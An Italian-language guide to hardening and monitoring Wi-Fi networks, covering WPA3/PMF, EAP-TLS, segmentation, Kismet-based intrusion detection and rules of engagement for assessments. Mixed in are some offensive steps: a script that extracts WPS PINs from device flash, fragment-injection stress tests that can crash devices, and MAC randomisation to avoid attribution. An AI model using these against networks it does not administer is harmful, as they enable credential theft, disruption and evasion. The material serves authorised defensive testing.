Cosa fa: Registra passivamente tutte le probe request nel raggio radio. L'output rivela se i dispositivi pubblicizzano nomi di rete sensibili in plaintext. Quando usarlo: Valutazione di sicurezza BYOD, incident response a deployment sospetti di evil twin, pre-hardening della configurazione di flotte di dispositivi mobili. Rischi: Il monitoraggio passivo è a basso rischio; la preoccupazione è ciò che scopri. Se i laptop degli executive trasmettono Boardroom-Secure o M&A-VPN, questo è un risultato azionabile. Output atteso: Righe CSV con tipo Probe Request e campo ESSID; la comparsa qui dei tuoi SSID sensibili indica client che si assoceranno con qualsiasi rispondente corrispondente.

Hardening: Disabilitare la connessione automatica alle reti non broadcast (netsh wlan set profileparameter name=CorpNet connectionMode=manual su Windows; rimuovere le voci PNL su macOS/iOS; NetworkManager auto_connect=FALSE su Linux). Per enterprise: deploy di 802.11u/Hotspot 2.0 con selezione di rete basata su certificati, eliminando completamente il probing basato su SSID.

Distance-Bounding, Relay e Considerazioni sul Firmware NIC

I protocolli Wi-Fi Time-of-Flight (ToF) e Fine Timing Measurement (FTM), specificati in 802.11mc/az, abilitano il ranging per il posizionamento indoor. Gli attacchi relay contro questi protocolli sono concettualmente semplici: un man-in-the-middle estende il percorso RF senza aggiungere ritardo rilevabile, facendo apparire locale un attaccante lontano. I protocolli di distance-bounding dovrebbero prevenirlo richiedendo rapidi scambi challenge-response dove i ritardi alla velocità della luce limitano la distanza massima.

Il contro-misura specificata dal protocollo è crittograficamente solida, ma le implementazioni del firmware NIC raramente raggiungono la precisione di timing al nanosecondo richiesta. Bug del firmware in chipset Qualcomm, Broadcom e Intel hanno permesso estensioni di relay oltre i massimi teorici manipolando i timestamp delle richieste FTM in campi controllati dal driver prima dell'elaborazione hardware.

Le vulnerabilità a livello firmware e driver si estendono oltre il ranging. Bug di riassemblaggio dei frammenti in specifiche implementazioni A-MPDU (patchati in Linux mac80211 su multipli cicli) hanno permesso corruzione di memoria perché il descriptor ring DMA hardware e la coda software SKB si desincronizzavano. Queste non sono vulnerabilità di protocollo ma vulnerabilità di implementazione nel percorso di protocollo—non patchabili da revisione dello standard, solo da azione del vendor.

Checklist di verifica per la postura del firmware:

Controllo	Metodo	Indicatore di fallimento
Monotonicità del timestamp FTM	`iw phy0 measurement ftm_request` con responder locale, confronta il ToF riportato rispetto alla distanza fisica	La distanza riportata varia >20% con geometria fissa
Riassemblaggio frammenti sotto carico	`fragattacks` `test-reassembly-stress` con 1000+ iniezioni di frammenti al secondo	Kernel oops o reset NIC in `dmesg`
Versione driver contro database CVE	`ethtool -i wlan0` o `modinfo mac80211`, cross-reference con la mailing list Linux wireless	Driver precedente al commit di fix noto senza notazione di backport
Varianza timing SAE	Test statistico sopra, o build `hostapd` con `-DWPA_TRACE` per log di timing interni	Deviazione standard >10% del tempo di risposta medio

⚠️ Solo uso autorizzato e difensivo. La manipolazione FTM e lo stress testing dei frammenti possono causare crash dei dispositivi target o corrompere il loro stato wireless. Eseguire solo in ambienti di laboratorio isolati con accesso alla console seriale per il ripristino, o in esercizi esplicitamente autorizzati di validazione del rilevamento con scope documentato.

L'insight pratico: la certificazione del protocollo e le patch CVE operano su orologi diversi. Un dispositivo può essere "WPA3 certified" e "KRACK patched" pur rimanendo vulnerabile a crash di riassemblaggio frammenti in firmware mai sottoposto ad audit dal programma di certificazione. L'unica validazione affidabile è il testing diretto del proprio specifico hardware revision con strumenti mantenuti—fidarsi delle etichette è una complacenza che gli avversari non condividono.

Ulteriore lettura

Architettura difensiva e configurazione di hardening

Distribuzione WPA3 e Prevenzione del Downgrade

WPA3-Personal in modalità transizione espone una vulnerabilità critica: pubblicizza contemporaneamente SAE e WPA2-PSK, permettendo ai client di connettersi tramite il handshake più debole. La configurazione deve imporre PMF e restringere la finestra di downgrade.

# hostapd.conf — modalità transizione WPA3-Personal con controlli downgrade
interface=wlan0
ssid=CorpSecure
wpa=2
wpa_key_mgmt=SAE WPA-PSK
wpa_passphrase=legacy_for_transitional_clients_only
sae_password=high_entropy_sae_pmkid_resistant
ieee80211w=2              # 1=opzionale, 2=obbligatorio — obbligatorio blocca client solo-WPA2
sae_require_mfp=1
sae_pwe=2                 # hunting-and-pecking + hash-to-element, mitiga leak di timing

Valore `ieee80211w`	Effetto	Rischio downgrade
0	Disabilitato	Client capaci di PMF possono omettere protezione; deauth banale possibile
1	Opzionale	Client negozia per-associazione; attaccante forza "no PMF"
2	Obbligatorio	Rifiuta associazioni non-PMF; interrompe intenzionalmente client più vecchi

Cosa fa: sae_pwe=2 abilita entrambi i metodi di derivazione PWE secondo la revisione delle specifiche WPA3, chiudendo attacchi side-channel di timing contro sae_pwe=0 (solo hunting-and-pecking). Quando usarlo: Tutte le nuove distribuzioni WPA3; modalità transizione solo durante l'inventario e la sostituzione dei client legacy. Rischi: ieee80211w=2 rifiuterà connessioni da client con implementazioni PMF difettose (alcune skin vendor Android 9, firmware Intel 7260 più vecchi). Output atteso: hostapd -dd mostra RSN: PMF required nelle risposte di associazione; i client rifiutati loggano STA refused due to PMF policy.

Verifica che PMF sia effettivamente imposto, non solo configurato:

# Laboratorio: Cattura risposta di associazione per confermare campo capability PMF
tshark -i wlan0mon -Y "wlan.fc.type_subtype==0x01" -T fields \
  -e wlan.rsn.capabilities.pmf -e wlan.tag.rsn.akm.suites

# Produzione: Audit passivo delle associazioni correnti
iw dev wlan0 station dump | grep -E "station|capability"

Interpretazione realistica dell'output:

aa:bb:cc:dd:ee:ff
    station capab: 0x3          # bit 0x2 = PMF capable, bit 0x1 = PMF required
f0:de:f1:2a:3b:4c
    station capab: 0x1          # Dichiara capable ma non requiring — auditare questo client

Il valore 0x1 per il secondo client merita un'indagine: accetterà associazioni senza PMF se l'AP pubblicizza modalità opzionale. La modalità transizione con ieee80211w=1 è esattamente ciò che un AP evil twin utilizza per catturare handshake WPA2.

Selezione del Metodo EAP Enterprise

L'ordine di caricamento dei moduli EAP RADIUS determina quali metodi sono offerti ai supplicanti. I metodi deboli devono essere rimossi esplicitamente, non semplicemente deprioritizzati.

# /etc/freeradius/3.0/mods-enabled/eap — disabilita tutto tranne TLS-based
eap {
    default_eap_type = tls
    tls-config tls-common {
        private_key_file = /etc/freeradius/3.0/certs/server.key
        certificate_file = /etc/freeradius/3.0/certs/server.pem
        ca_file = /etc/freeradius/3.0/certs/ca.pem
        dh_file = ${certdir}/dh
        verify {
            skip_if_ocsp = no
        }
    }
    # Disabilita esplicitamente: peap, ttls, md5, leap, pwd, gtc
    # Non commentare — rimuovi o imposta 'disable = yes'
}

Metodo	Auth reciproca	Channel binding	Rischio downgrade	Verdetto
EAP-TLS	Sì (cert+privkey)	Nativo via TLS	Nessuno	Baseline per reti ad alta garanzia
PEAP-EAP-TLS	Sì	TLS annidato + inner TLS	La fase PEAP permette fallback MSCHAPv2 se malconfigurato	Solo se supplicant blocca metodo inner
EAP-TTLS	Solo cert server	Optional inner	I metodi inner PAP/CHAP/MSCHAPv2 sono esca per raccolta credenziali	Evitare — complessità senza guadagno di sicurezza
PEAP-MSCHAPv2	Solo cert server	No	Credential relay banale con Responder o Hostapd-WPE	Deprecato; equivalente a testo in chiaro per attaccante motivato

Cosa fa: skip_if_ocsp = no forza OCSP stapling o verifica OCSP diretta; una risposta mancante fallisce l'autenticazione invece di continuare silenziosamente. Quando usarlo: L'automazione del ciclo di vita dei certificati è operativa (OCSP responder raggiungibile, CRL distribution points validi). Rischi: I responder OCSP diventano single point of failure; monitorare con openssl ocsp -url $responder -issuer ca.pem -cert client.pem.

Variante produzione per validazione certificati senza dipendenza OCSP:

# Più sicuro: controllo CRL con caching locale
crl_file = /etc/freeradius/3.0/certs/crl.pem
check_crl = yes
check_all_crl = yes

Il pinning lato supplicant previene proxy RADIUS evil twin:

# wpa_supplicant.conf — blocco network con CA pinning e controllo nome server
network={
    ssid="CorpSecure-EAP"
    key_mgmt=WPA-EAP
    eap=TLS
    identity="user@corp.example"
    ca_cert="/etc/certs/corp-ca.pem"
    subject_match="/CN=radius01.corp.example"
    # Blocca qualsiasi server che presenti CN diverso o catena CA non trusted
    altsubject_match="DNS:radius01.corp.example;DNS:radius02.corp.example"
}

Abilitazione 802.11w (PMF/MFP) e Realtà dei Client

La documentazione vendor dichiara supporto PMF; il comportamento effettivo diverge. Il caso Windows 10/Surface Pro—netsh wlan show profiles riporta supporto PMF, ma l'associazione fallisce quando PMF è obbligatorio—indica un fallimento di negoziazione a livello driver nonostante la capacità OS pubblicizzata.

Piattaforma client	PMF pubblicizzato	PMF required funzionale	Note
Windows 10/11 (Intel AX200+)	Sì	Sì	Dipendente dal driver; PROSet 22.x richiesto
Windows 10 (Surface Pro 2017, Marvell)	Sì	No	OS dichiara supporto, driver rifiuta modalità required
macOS 12+	Sì	Sì	Nessun failure noto della modalità required
iOS 14+	Sì	Sì
Android 10+ (AOSP)	Sì	Sì	Le skin vendor possono disabilitare nel firmware
Android 9 (Samsung Exynos)	Parziale	No	`wpa_supplicant` compilato senza PMF required
Embedded/IoT (vari)	Non comune	Raro	I moduli WiFi industriali spesso omettono 802.11w

Intuizione duramente conquistata: Un client che si associa con successo con ieee80211w=1 (opzionale) non prova nulla sulla sua implementazione PMF. Testare con ieee80211w=2, inventariare i fallimenti e mantenere un allowlist hostapd.accept_mac per le eccezioni—tracciato come debito tecnico con date di remediation.

Configurazione Cisco IOS XE (serie 9800, track 17.16.x):

! Verifica stato operativo PMF, non solo configurato
wireless profile policy CorpSecure-Policy
 security wpa wpa2 wpa3
 security 802.11w
 security 802.11w pmf mandatory   ! Non optional, non default
 no security wps                  ! Disabilita esplicitamente, non assenza implicita

! Audit dell'advertise effettivo delle capability client
show wireless client summary detail | include PMF
show wireless client mac-address aa:bb:cc:dd:ee:ff detail | sec Capabilities

Architettura di Segmentazione di Rete

La segmentazione wireless fallisce quando il VLAN hopping o la compromissione del piano di gestione AP ponte l'isolamento. L'architettura deve assumere la compromissione dell'AP.

[Internet] → [Firewall] → [Core L3 Switch]
                                |
            +-------------------+-------------------+
            |                   |                   |
        [WLC/Native]      [Wireless DMZ VLAN]   [Guest VLAN]
        (management)      (corporate SSID)        (captive portal)
            |                   |
        [RADIUS DMZ]      [Data VLAN 10]
        (auth backend)    (wired equivalent)

# hostapd con tagging VLAN per SSID, imposto all'AP
vlan_file=/etc/hostapd.vlan
dynamic_vlan=2              # RADIUS-Assigned VLAN obbligatorio

# /etc/hostapd.vlan
*   wlan0.#
10  wlan0.10
20  wlan0.20

Livello segmentazione	Controllo	Modalità failure
Mapping SSID/VLAN	Config AP	Override VLAN same-SSID via RADIUS spoofing
Assegnazione VLAN RADIUS	Backend auth	RADIUS compromesso → placement VLAN arbitrario
ACL tra VLAN	L3 switch/firewall	Native VLAN trunking malconfigurato
Isolamento guest	Isolamento client AP + ACL L2	IPv6 ND/RA bypassa ACL solo-IPv4

L'isolamento guest deve bloccare non solo unicast ma discovery multicast/broadcast:

# Isolamento a livello bridge con soppressione multicast
ebtables -A FORWARD -i wlan0-guest -o wlan0-guest -j DROP
ebtables -A FORWARD -p IPv6 --ip6-protocol ipv6-icmp -j DROP

Verifica Disabilitazione WPS e Analisi Entropia

La modalità PIN WPS utilizza un codice statico di 8 cifre con checksum, producendo 10^7 combinazioni effettive e rendendo il bruteforce online fattibile in ore. La caratterizzazione "HACK ME" è accurata: WPS è stato progettato per comodità di pairing senza threat model per attaccanti di prossimità fisica.

# Verifica che WPS sia assente da beacon e probe response, non solo disabilitato nell'UI
wash -i wlan0mon -C           # Rilevamento WPS in monitor mode

# Atteso: SSID target assente dall'output di wash
# Fallimento: SSID appare con stato "Locked" — WPS presente, temporaneamente throttled

Audit entropia generazione PIN per distribuzioni WPS inevitabili (IoT legacy):

# Estrai PIN da nvram/firmware per analisi
strings /dev/mtd0 | grep -E '^[0-9]{8}$' | while read pin; do
    checksum=$(( (10 - (3*$(echo $pin | cut -c1) + 1*$(echo $pin | cut -c2) + \
        3*$(echo $pin | cut -c3) + 1*$(echo $pin | cut -c4) + \
        3*$(echo $pin | cut -c5) + 1*$(echo $pin | cut -c6) + \
        3*$(echo $pin | cut -c7)) % 10) % 10 ))
    [ "$checksum" -eq "$(echo $pin | cut -c8)" ] && echo "VALID WPS PIN: $pin"
done

Rilevazione	Rischio	Azione
PIN derivato da MAC address (algoritmico)	Predizione banale	Sostituire firmware o ritirare dispositivo
PIN statico su modello dispositivo	Compromissione batch	Disclosure vendor, isolamento rete
PIN "random" ma bassa entropia (seed LCG)	Recuperabile dal seriale	Reimplementazione RNG custom se possibile
WPS solo push-button, nessun PIN	Superficie di attacco ridotta	Accettabile per location fisicamente sicure

Rinforzo Configurazione Client

La scansione proattiva crea impronte digitali di probe request ed espone liste di network preferiti. Sopprimere questo comportamento e restringere le connessioni automatiche.

# wpa_supplicant.conf — soppressione probing e blocco profili network
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
ap_scan=1
fast_reauth=0               # Disabilita EAP fast reauth; previene abuso session resumption

network={
    ssid="CorpSecure"
    scan_ssid=0             # Non sondare attivamente per SSID nascosto
    key_mgmt=WPA-EAP
    # Blocco a BSSID specifico previene roaming verso evil twin con stesso SSID
    bssid=00:11:22:33:44:55
    # Disabilita connessione automatica; richiede azione utente esplicita
    disabled=1
}

# Override systemd service per VPN auto-connect su associazione wireless
# /etc/systemd/system/wpa_supplicant.service.d/vpn-up.conf
[Service]
ExecStartPost=/usr/local/bin/wireguard-up-on-assoc.sh

Script VPN auto-connect con validazione associazione:

#!/bin/bash
# wireguard-up-on-assoc.sh — attiva tunnel solo su BSSID autorizzato
AUTHORIZED_BSSIDS="00:11:22:33:44:55 00:11:22:33:44:66"
CURRENT_BSSID=$(wpa_cli status | grep bssid | cut -d= -f2)

if echo "$AUTHORIZED_BSSIDS" | grep -qw "$CURRENT_BSSID"; then
    wg-quick up corp-tunnel
    # Applica routing strict: tunnel è default, wireless è solo stub
    ip route add 192.0.2.0/24 dev wlan0 scope link table 42
    ip rule add from 192.168.1.0/24 lookup 42
else
    logger -p auth.warning "VPN soppressa: BSSID non autorizzato $CURRENT_BSSID"
    # Opzione: deautentica immediatamente
    # wpa_cli disconnect
fi

Errori comuni:

Errore	Perché ti colpisce
`ieee80211w=1` su AP, `optional` su supplicant	Attaccante pubblicizza `ieee80211w=0`, entrambi i lati effettuano downgrade silenzioso
Certificate CN match solo, nessun check SAN	Evil twin usa CA legittima + SAN diverso; validazione CN passa
RADIUS `check_cert_cn` senza `check_cert_exp`	Certificato attaccante revocato ma non scaduto accettato
Guest VLAN con IPv6 non filtrato	IPv6 RA hijacking bypassa intera architettura ACL IPv4
WPS "disabilitato" in web UI, non nel firmware	Wash rileva ancora WPS IE; modalità PIN attiva a livello 802.11
`ap_scan=2` con `autoscan` periodico	Probing background continuo espone pattern di viaggio e SSID network domestici

Checklist verifica configurazione:

[ ] hostapd -dd mostra WPA: PMF required per tutti i tentativi di associazione
[ ] eapol_test verso server RADIUS fallisce con certificato server untrusted
[ ] Output wash vuoto per tutti gli SSID di produzione dopo 5 minuti di monitor
[ ] iw dev wlan0 station dump riporta MFP per ogni stazione associata
[ ] Tunnel VPN stabilito entro 3 secondi dall'associazione wireless; traceroute 198.51.100.1 esce via interfaccia tunnel
[ ] Client guest non può ping6 ff02::1%wlan0 per scoprire altri host del segmento

Ulteriori letture

Rilevamento di intrusioni wireless e monitoraggio continuo

Architettura WIDS/WIPS: Vedere l'Aria

Il monitoraggio wireless efficace è prima un problema fisico e secondariamente un problema software. Un singolo sensore sul soffitto di un magazzino perderà attacchi direzionali mirati al molo di carico, e un laptop che esegue Kismet in modalità promiscua non è un sostituto per un posizionamento distribuito dei sensori. L'architettura funzionante combina tre livelli: sensori edge per l'acquisizione raw, aggregatori locali per la deduplicazione e l'analisi preliminare, e un motore di correlazione centralizzato dove i pattern temporali e spaziali diventano visibili.

Per il posizionamento dei sensori, pensare in termini di sovrapposizione di celle piuttosto che copertura. Ogni sensore dovrebbe vedere il 60-70% della portata dei vicini per abilitare la triangolazione e eliminare i punti ciechi singoli. In edifici multi-piano, la separazione verticale conta: i 2,4 GHz penetrano il calcestruzzo meglio dei 5 GHz, quindi la griglia di sensori a 5 GHz necessita di una spaziatura più stretta. Antenne Yagi o pannello direzionali su sensori selezionati possono sorvegliare parcheggi perimetrali e fabbricati annessi dove avviene la preparazione degli attacchi.

La correlazione centralizzata è dove gli alert stateless diventano intelligence utile. Un frame di deautenticazione su un sensore è rumore; lo stesso MAC sorgente che deautentica client attraverso tre sensori in 90 secondi è un attacco. L'alert REST API di Kismet e l'esportazione live dei pacchetti alimentano questa pipeline, ma la logica di correlazione è da costruire.

Deploy dei Drone Kismet e Alerting in Tempo Reale

Kismet opera ottimalmente in deployment stazionari, non mobili. La sua modalità di raccolta passiva rileva reti nascoste e infrastruttura non-beaconing attraverso la sola analisi del traffico dati, ma questo richiede presenza prolungata. Il modello drone separa l'acquisizione dall'elaborazione: sensori leggeri eseguono kismet_cap_linux_wifi o equivalenti binari di cattura remota, trasmettendo frame 802.11 a un server Kismet centralizzato via TCP.

Deploy di laboratorio — nodo sensore:

# Su Raspberry Pi 4 o simile sensore edge con scheda monitor-mode supportata
sudo apt install kismet-capture-linux-wifi

# Avvia cattura remota puntando al server centralizzato su 192.0.2.10:3501
sudo kismet_cap_linux_wifi \
    --connect 192.0.2.10:3501 \
    --source wlan1:wlan1 \
    --env-monitor

Cosa fa: Esegue solo il componente di cattura, trasmettendo metadata 802.11 parsati anziché pcap raw per ridurre la banda di backhaul. Quando usarlo: Località edge con risorse limitate dove l'operazione completa del server Kismet è impraticabile. Rischi: Il backhaul TCP su WiFi crea un problema di meta-monitoraggio—usare Ethernet cablata per l'uplink del drone dove possibile. Output atteso: Il server centralizzato registra la connessione della sorgente remota; i frame appaiono taggati con UUID di sorgente.

Server centralizzato — configurazione soglie alert:

Kismet definisce due categorie di alert: alert stateless/stateful basati su fingerprint per comportamenti noti ostili (attacchi driver wireless, sequenze di frame malformati), e monitor basati su trend per pattern temporalmente anomali come flooding e denial-of-service. Tarare i monitor di trend in kismet.conf o via web UI:

# Sezione esempio tuning alert
alert=DEAUTHFLOOD,20/sec,10/sec,300
alert=BCASTFLOOD,50/sec,30/sec,300
alert=BSSTIMECOUNT,5/min,3/min,600

I tre campi numerici sono: soglia di rate, soglia di burst, e periodo minimo di silenzio (secondi) prima di ri-alertare. Questi sono specifici del sito; una sede conferenza con 5.000 client necessiterà di baseline radicalmente diverse rispetto a un pavimento produttivo con cinquanta stazioni IoT fisse.

Rilevazione Basata su Signature: Rogue AP ed Evil Twin

La rilevazione dei rogue AP si divide in due problemi con diversi livelli di difficoltà. I rogue AP di Layer-2—dispositivi non autorizzati sulla vostra infrastruttura cablata o AP aperti bridgati al vostro SSID—sono relativamente rilevabili attraverso soluzioni esistenti. Kismet segnala BSSID non configurati, fingerprint RADIUS WPA2 Enterprise inaspettati, o intervalli beacon che deviano dal template deployato. I rogue AP di Layer-3 protetti da WEP o misure di sicurezza comparabili sono significativamente più sfidanti; il confine di crittografia nasconde la mappatura BSSID-to-infrastruttura su cui si basa la semplice analisi dei beacon.

Per la rilevazione degli evil twin, analizzare i metadata dei beacon oltre la stringa SSID:

Campo	Baseline Normale	Indicatore Evil Twin
BSSID	OUI corrisponde ai record di procurement del vendor	OUI randomizzato o non registrato
Canale	Assegnato dallo spettro pianificato	Canale inaspettato (es., il vostro twin sul canale 165 invece del 36)
Intervallo beacon	100 TU (102,4 ms) tipici	Deviazioni suggeriscono configurazione manuale
Capacità RSN	Corrisponde allo standard di deployment	Differenze di bitmask in MFP, group cipher
Rate supportati	Specifici del vendor	Solo rate legacy 802.11b (indicatore hardware economico)

Normalizzazione syslog Kismet per ingestione SIEM:

Kismet supporta l'output syslog per l'integrazione con piattaforme SIEM. Configurare in kismet_logging.conf:

log_types=pcapng,kismet,alert
enable_syslog=true
syslog_facility=local4
syslog_host=192.0.2.50:514

Formato output syslog di esempio:

<164>May 15 14:32:11 kismet-server kismet: ALERT ADVERSIONROGUE BSSID[aa:bb:cc:dd:ee:ff] SSID[CorpWiFi-Fake] frequency[5180] reason[Unconfigured BSSID with matching SSID to authorized network]

Effettuare il parse al SIEM con un semplice pattern grok:

%{SYSLOGPRI:priority}%{SYSLOGTIMESTAMP:timestamp} %{HOSTNAME:host} kismet: ALERT %{WORD:alert_type} BSSID\[%{MAC:mac}\] SSID\[%{DATA:ssid}\] frequency\[%{NUMBER:freq}\] reason\[%{GREEDYDATA:reason}\]

Cosa fa: Inoltra alert strutturati al vostro log aggregator in tempo reale. Quando usarlo: Quando Kibana, Graylog o Splunk è il vostro single pane of glass; elimina la latenza di API polling. Rischi: Il syslog UDP può cadere in condizioni di flood; considerare syslog TCP o buffering rsyslog locale. Output atteso: Gli alert appaiono come campi parsati nel vostro SIEM, abilitando la correlazione dashboard con eventi wired-side.

Rilevazione delle Anomalie Comportamentali

I pattern di associazione dei client rivelano compromissioni che la rilevazione signature manca. Tracciare queste metriche per MAC client su finestre scorrevoli:

Velocità di roam di associazione (cambi AP al minuto)
Entropia SSID delle probe request (probing improvvisamente ampio suggerisce ricognizione)
Deviazione oraria dalla baseline storica
Consistenza di geolocalizzazione (se i vostri sensori hanno GPS o tag di posizione fissa)

Un client che storicamente si associava con l'AP ingegneria del terzo piano e ora esegue probe aggressive su tutti i piani alle 03:00 merita indagine indipendentemente dalla validità delle sue credenziali.

Per la geolocalizzazione, Kismet può registrare coordinate GPS per pacchetto se il sensore ha un fix. Correlare con inconsistenza: un MAC visto simultaneamente da sensori a 500 metri di distanza è o spoofato o sotto attacco attivo.

Metadata Frame 802.11 per Ricostruzione Forense della Timeline

I log pcapng di Kismet includono header Radiotap per-frame con potenza del segnale, rumore, canale e rate. Per ricostruzione forense dopo un incidente:

# Estrai tutti i frame dal rogue AP sospetto entro la finestra dell'incidente
tshark -r incident.pcapng -Y "wlan.bssid == aa:bb:cc:dd:ee:ff" \
    -T fields -e frame.time_epoch -e radiotap.dbm_antsignal \
    -e wlan.fc.type_subtype -e wlan.seq

# Output campione (troncato):
# 1715784723.123456    -42    0x08    1234   # Beacon
# 1715784723.234567    -39    0x20    2847   # Data
# 1715784725.345678    -67    0x0c    2848   # Deauthentication (improvviso calo di segnale)

Il calo di segnale da -39 dBm a -67 dBm sul frame di deauth suggerisce che l'attaccante si è spostato tra cattura ed esecuzione dell'attacco, o ha commutato a potenza di trasmissione inferiore—evidenza del layer fisico che non si può derivare dai soli log cablati.

Integrazione con SIEM e Pipeline Zeek/Spicy

Per ambienti che già eseguono Zeek (precedentemente Bro), il plugin Spicy abilita analizzatori di protocollo 802.11 personalizzati o IP-over-wireless. L'integrazione Zeek/Spicy espone i parser Spicy alla pipeline di elaborazione di Zeek, permettendo di scrivere decoder per metadata esportati da Kismet o strutture Radiotap raw. Questo è lavoro di sviluppo, non configurazione—aspettarsi di scrivere grammatica Spicy per i tipi di frame specifici di interesse.

La cattura accelerata DPDK, come documentato in Suricata, fornisce librerie per elaborazione pacchetti ad alto throughput. Sebbene la documentazione DPDK di Suricata si concentri sull'ottimizzazione hardware di cattura cablata, gli stessi principi si applicano al monitoraggio wireless su larga scala: kernel bypass, core CPU dedicati e allocazione memoria hugepage. Per 802.11 specificamente, questo richiede un driver wireless abilitato DPDK, che è meno comune del suo equivalente cablato; verificare il supporto driver corrente per la vostra NIC.

Evasione del Layer Fisico e Compensazione del Monitoraggio

Gli attaccanti eludono WIDS attraverso antenne direzionali, controllo della potenza e finestre di trasmissione brevi. Un'antenna pannello ad alto guadagno mirata a un client specifico da un parcheggio potrebbe non illuminare affatto il vostro sensore montato a soffitto. Compensare con:

Tecnica	Contromisura di Monitoraggio
Trasmissione direzionale	Sensori perimetrali con antenne direzionali puntate verso l'esterno; copertura a settori piuttosto che omnidirezionale
Controllo potenza (problema near-far)	Multipli sensori a bassa altezza in corridoi di attacco sospetti; triangolazione potenza segnale
Attacco di breve durata (hit-and-run)	Buffer ad anello pcapng continuo 24 ore su tutti i sensori; retrieval post-hoc, non solo rilevazione real-time
Canali non-standard o 802.11ax 6 GHz	Schede sensori con copertura spettro completo; sblocco regulatory domain dove legale

La verità non ovvia: un WIDS che allerta solo in tempo reale fallisce contro un attaccante paziente. Il buffer ad anello è la vostra polizza assicurativa. Allocare storage per 72 ore di pcapng completo al minimo; il disco è più economico di una breach non rilevata.

Errori Comuni nel Monitoraggio Wireless

Errore	Perché vi morda
Usare NIC client managed-mode per "monitoring"	Vedete solo beacon e il vostro traffico; perdete completamente reti nascoste e attacchi client-to-client diretti
Allertare su ogni BSSID inaspettato	La alert fatigue nasconde il vero rogue AP; baselineare il vostro ambiente, poi allertare sulle deviazioni da quella baseline
Nessun GPS o position tagging sui sensori	Impossibile correlare potenza segnale con posizione fisica; l'analisi spaziale diventa impossibile
Ignorare la banda "legacy" 2,4 GHz	Gli attaccanti mirano ai 2,4 GHz affollati per evil twin esattamente perché i difensori hanno spostato il focus su 5/6 GHz
Affidarsi solo a WIPS commerciali senza pcapng	La rilevazione black-box del vendor manca attacchi nuovi; servono frame raw per analisi personalizzata

Checklist: Deploy di Monitoraggio in Produzione

[ ] Tutti i sensori eseguono schede confermate monitor-mode con cattura raw 802.11 testata
[ ] La griglia di sensori fornisce copertura sovrapposta con 60%+ visibilità reciproca
[ ] Il server Kismet centralizzato ha storage per pcapng rolling 72 ore per sensore
[ ] Soglie alert calibrate contro baseline 7 giorni di traffico normale
[ ] Integrazione syslog o REST API testata al SIEM con parsing campi verificato
[ ] Sensori perimetrali includono antenne direzionali per monitoraggio verso l'esterno
[ ] Comunicazione drone-to-centralizzato su rete cablata out-of-band
[ ] Il playbook di incident response include procedure di estrazione metadata frame

⚠️ Solo uso autorizzato, difensivo. Il posizionamento di antenne direzionali, l'analisi della potenza e le tecniche di rilevazione deauth descritte qui sono intese per difesa di rete autorizzata e validazione in laboratorio della propria infrastruttura. Il monitoraggio wireless di reti che non si amministra può violare normative locali; verificare l'autorità legale prima dell'attivazione dei sensori.

Letture approfondite

Metodologia di Valutazione della Sicurezza e Trappole Operative

Quadro di Autorizzazione: Regole di Ingaggio

Le valutazioni wireless collassano più rapidamente di quelle cablate quando i confini dello scope sono vaghi. Il segnale RF non rispetta i diagrammi di rete. Un tester che trasmette frame deauth sul canale 6 colpirà ogni rete 2,4 GHz in un raggio di tre piani, non solo l'SSID target. Le regole di ingaggio devono definire esplicitamente: bande di frequenza consentite per il testing, EIRP massimo (non solo "usa potenza ragionevole"), tipi di attacco proibiti (ad esempio, jamming vs. testing di associazione), e confini fisici—il testing nel parcheggio è legalmente e operativamente distinto dal testing nella lobby.

Il PTES struttura le fasi di ingaggio come guida di base che richiede personalizzazione organizzativa. Per il wireless, quella personalizzazione è obbligatoria. La giurisdizione conta in modo acuto: le valutazioni negli Stati Uniti rientrano nel 47 CFR Part 15 Subpart E (U-NII) e §15.247 (spread spectrum 2,4 GHz), mentre gli ingaggi europei sono soggetti a ETSI EN 301 893/EN 300 328. Questi quadri divergono sui limiti di potenza e i requisiti DFS. Un piano di test valido a Francoforte può violare le regole FCC a New York se non si ricalcolano i massimi di EIRP. Documentare quale quadro regolatorio governa ogni ambiente di test; non assumere che la propria giurisdizione d'origine si trasferisca.

Nota pratica: Il PTES non contiene una appendice RF dedicata. Adattarne la fase pre-ingaggio aggiungendo controlli di scope specifici per RF: liste di esclusione canali per sistemi di sicurezza operazionali, coordinamento con la gestione delle strutture per finestre di attivazione dei trasmettitori, e autorizzazione scritta esplicita per qualsiasi attività di frame injection.

Checklist di Verifica Pre-Ingaggio

Voce	Metodo di Verifica	Conseguenza in Caso di Fallimento
L'autorizzazione scritta specifica bande di frequenza, canali e potenza TX massima	Revisione legale rispetto al piano di test	La trasmissione senza licenza diventa interferenza volontaria
Struttura/strutture notificate della finestra di test e delle firme RF attese	Conferma via email + briefing in loco	Risposta delle guardie o chiamata di panico dei dipendenti alle forze dell'ordine
Scansione canale completata per sistemi safety-of-life (telemetria medica, controllo industriale)	Sweep con analizzatore di spettro 30 min pre-test	Interferenza dannosa con operazioni protette
Firmware dell'apparecchiatura di test verificato, versioni driver documentate	`iw list` / `airmon-ng` verifica driver	Fallimento di riproducibilità; evidenza contestata in tribunale
Logging GPS/posizione abilitato per tutte le catture	`gpsd` + tag geolocalizzazione Kismet	Impossibilità di dimostrare che il test è avvenuto in locazione autorizzata
NIC di backup disponibile	Hardware di riserva nel kit	Punto singolo di fallimento a metà ingaggio

Sicurezza Operativa: Perdita RF e Attribuzione

Il traffico di test è indistinguibile da quello malevolo senza adeguati controlli operativi. Tre vettori espongono: perdita RF oltre il perimetro target, indirizzi MAC persistenti collegati alla propria organizzazione, e pattern temporali (raffiche di deauth notturne alle 02:00 sono memorabili per gli analisti SOC).

Il MAC rotation è il minimo indispensabile, ma implementarlo correttamente. I MAC randomizzati nelle probe request perdono comunque impronte di chipset tramite i campi IE. Per ingaggi sensibili, utilizzare hardware di test dedicato mai connesso alla propria identità di produzione.

# Verifica MAC corrente e imposta interfaccia monitor-mode su randomizzato
ip link show wlan0 | grep ether
sudo ip link set wlan0 down
sudo macchanger -r wlan0
sudo ip link set wlan0 up
sudo airmon-ng start wlan0 6

Cosa fa: macchanger -r assegna un MAC localmente amministrato random, preservando il bit U/L per indicare non unicità globale. Quando usarlo: Prima di ogni nuova sessione di test; ruotare tra le sessioni, non a metà sessione (lo churn temporale stesso diventa rilevabile). Rischi: Alcuni driver ignorano i cambi di MAC in monitor mode; verificare con iw dev post-modifica. Output atteso: ether 02:xx:xx:xx:xx:xx (il prefisso 02 conferma il bit locale impostato).

